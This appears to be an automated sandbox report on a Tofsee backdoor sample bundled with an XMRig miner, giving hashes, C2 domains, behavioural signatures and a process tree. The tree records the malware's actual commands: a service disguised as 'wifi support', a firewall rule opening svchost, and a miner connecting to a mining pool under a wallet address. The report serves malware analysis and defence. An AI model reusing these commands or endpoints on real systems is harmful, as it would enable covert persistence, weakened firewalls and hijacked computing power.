Analysis

  • max time kernel
    306s
  • max time network
    319s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 22:27

General

  • Target

    c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe

  • Size

    251KB

  • MD5

    3289ff07ba3c5b4ea9614f862dae3bd8

  • SHA1

    30b15edf7ad3f7bc059f58436198d5619f06a53a

  • SHA256

    c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935

  • SHA512

    9e90abf93b6e7268a0c8993c864d9b106c00990f77c1d8011ea7325a0467332f508f04dc083c46880dea9a71a9a6fbf6c8bdcec83b310093eea0c455c66e5a82

  • SSDEEP

    3072:7RoP5wl8uJh5E7jjzFApPWASdKogJodIj+5JjAxSdhee3hUDxy/Ocat:toWlbhOTFApPmdKogJc5JMxUh7OQG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe
    "C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2308
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fihbaory\
      2⤵
        PID:2728
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qggdpbrp.exe" C:\Windows\SysWOW64\fihbaory\
        2⤵
          PID:2968
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fihbaory binPath= "C:\Windows\SysWOW64\fihbaory\qggdpbrp.exe /d\"C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2960
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fihbaory "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2024
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fihbaory
          2⤵
          • Launches sc.exe
          PID:2908
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2572
      • C:\Windows\SysWOW64\fihbaory\qggdpbrp.exe
        C:\Windows\SysWOW64\fihbaory\qggdpbrp.exe /d"C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:680
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3016
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2364

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\qggdpbrp.exe

        Filesize

        11.4MB

        MD5

        3603c3dc55e1b28eb5e02e15554e0f02

        SHA1

        b3f59ef5f2dcc13d20824a3a70bbae6f23db5a4e

        SHA256

        257534ad646c2f49084bca2fbf43a9908f02879fa3384ff2918d838908138b90

        SHA512

        ec78633d849ab3a7f239d847736cc4805bb9e39cba6d8cc2aeca49e00b3014452e588a47cdb001fb205c78ec76891fbc6ca0e44450f7cb6aa5592135b6b5a9df

      • C:\Windows\SysWOW64\fihbaory\qggdpbrp.exe

        Filesize

        11.4MB

        MD5

        3603c3dc55e1b28eb5e02e15554e0f02

        SHA1

        b3f59ef5f2dcc13d20824a3a70bbae6f23db5a4e

        SHA256

        257534ad646c2f49084bca2fbf43a9908f02879fa3384ff2918d838908138b90

        SHA512

        ec78633d849ab3a7f239d847736cc4805bb9e39cba6d8cc2aeca49e00b3014452e588a47cdb001fb205c78ec76891fbc6ca0e44450f7cb6aa5592135b6b5a9df

      • memory/680-18-0x0000000000400000-0x00000000007C8000-memory.dmp

        Filesize

        3.8MB

      • memory/680-15-0x0000000000400000-0x00000000007C8000-memory.dmp

        Filesize

        3.8MB

      • memory/680-12-0x00000000008E0000-0x00000000009E0000-memory.dmp

        Filesize

        1024KB

      • memory/2308-7-0x0000000000400000-0x00000000007C8000-memory.dmp

        Filesize

        3.8MB

      • memory/2308-9-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2308-1-0x00000000008F0000-0x00000000009F0000-memory.dmp

        Filesize

        1024KB

      • memory/2308-6-0x00000000008F0000-0x00000000009F0000-memory.dmp

        Filesize

        1024KB

      • memory/2308-2-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2308-4-0x0000000000400000-0x00000000007C8000-memory.dmp

        Filesize

        3.8MB

      • memory/2364-76-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2364-77-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2364-78-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2364-75-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2364-74-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2364-73-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2364-69-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2364-65-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2364-64-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/3016-40-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-49-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-36-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-37-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-38-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-39-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-32-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-41-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-42-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-43-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-44-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-45-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-46-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-47-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-48-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-35-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-50-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-51-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/3016-52-0x00000000001F0000-0x00000000001F5000-memory.dmp

        Filesize

        20KB

      • memory/3016-55-0x00000000001F0000-0x00000000001F5000-memory.dmp

        Filesize

        20KB

      • memory/3016-56-0x0000000005530000-0x000000000593B000-memory.dmp

        Filesize

        4.0MB

      • memory/3016-59-0x0000000005530000-0x000000000593B000-memory.dmp

        Filesize

        4.0MB

      • memory/3016-60-0x00000000003A0000-0x00000000003A7000-memory.dmp

        Filesize

        28KB

      • memory/3016-29-0x00000000000E0000-0x00000000000E6000-memory.dmp

        Filesize

        24KB

      • memory/3016-28-0x0000000001980000-0x0000000001B8F000-memory.dmp

        Filesize

        2.1MB

      • memory/3016-25-0x0000000001980000-0x0000000001B8F000-memory.dmp

        Filesize

        2.1MB

      • memory/3016-24-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/3016-22-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/3016-21-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/3016-17-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/3016-14-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/3016-13-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB